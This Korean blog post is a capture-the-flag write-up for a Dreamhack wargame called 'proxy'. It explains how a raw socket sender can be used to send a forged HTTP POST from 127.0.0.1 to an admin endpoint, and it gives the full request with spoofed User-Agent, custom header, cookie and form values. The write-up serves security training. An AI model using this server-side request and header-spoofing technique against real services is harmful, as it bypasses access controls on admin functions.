https://dreamhack.io/wargame/challenges/13
proxy 문제로 Raw Socket Sender가 구현된 서비스라고 한다.
Raw Socket은 어느 특정한 프로토콜 용의 전송 계층 포맷팅 없이 인터넷 프로토콜로
패킷을 직접적으로 주고 받게 해 주는 소켓이다.
문제 접속 시 첫 화면이다.
Raw Socket Sender 링크를 클릭하면 host, port, data를 입력하여 보낼 수 있는 화면이 뜬다.
socket 페이지에서 send 버튼을 누르면 host, port, data가 전송된다.
admin 페이지에서 전송된 패킷이 조건이 부합되면 return 값으로 플래그를 출력한다.
조건은 다음과 같다.
1. request.remote_addr=127.0.0.1
클라이언트 ip가 127.0.0.1 인지 확인한다.
2. request.headers.get('User-Agent')=Admin Browser
User-Agent 헤더 값이 Admin Browser 인지 확인한다.
3. request.headers.get('DreamhackUser')=admin
DreamhackUser 라는 헤더의 값이 admin 인지 확인한다.
4. request.cookies.get('admin')=true
admin 이라는 쿠키 값이 true 인지 확인한다.
5. request.form.get('userid')=admin
POST body의 userid 라는 파라미터 값이 admin 인지 확인한다.
따라서 Raw Socket Sender를 이용하여 로컬 단에서 admin 페이지에 Data를 전달하도록 할 것이다.
host: 127.0.0.1
port: 8000
DATA:
POST /admin HTTP/1.1
Host: host3.dreamhack.games:21354
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
userid=admin
플래그 값을 얻었다!
'CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] shell_basic (0) | 2023.05.30 |
---|---|
[Dreamhack] RSA-wiener (1) | 2023.05.30 |
[Dreamhack] Basic_Crypto1 (0) | 2023.05.24 |
[Dreamhack] xss-2 (0) | 2023.05.23 |
[Dreamhack] dreamhack-tools-cyberchef (0) | 2023.05.16 |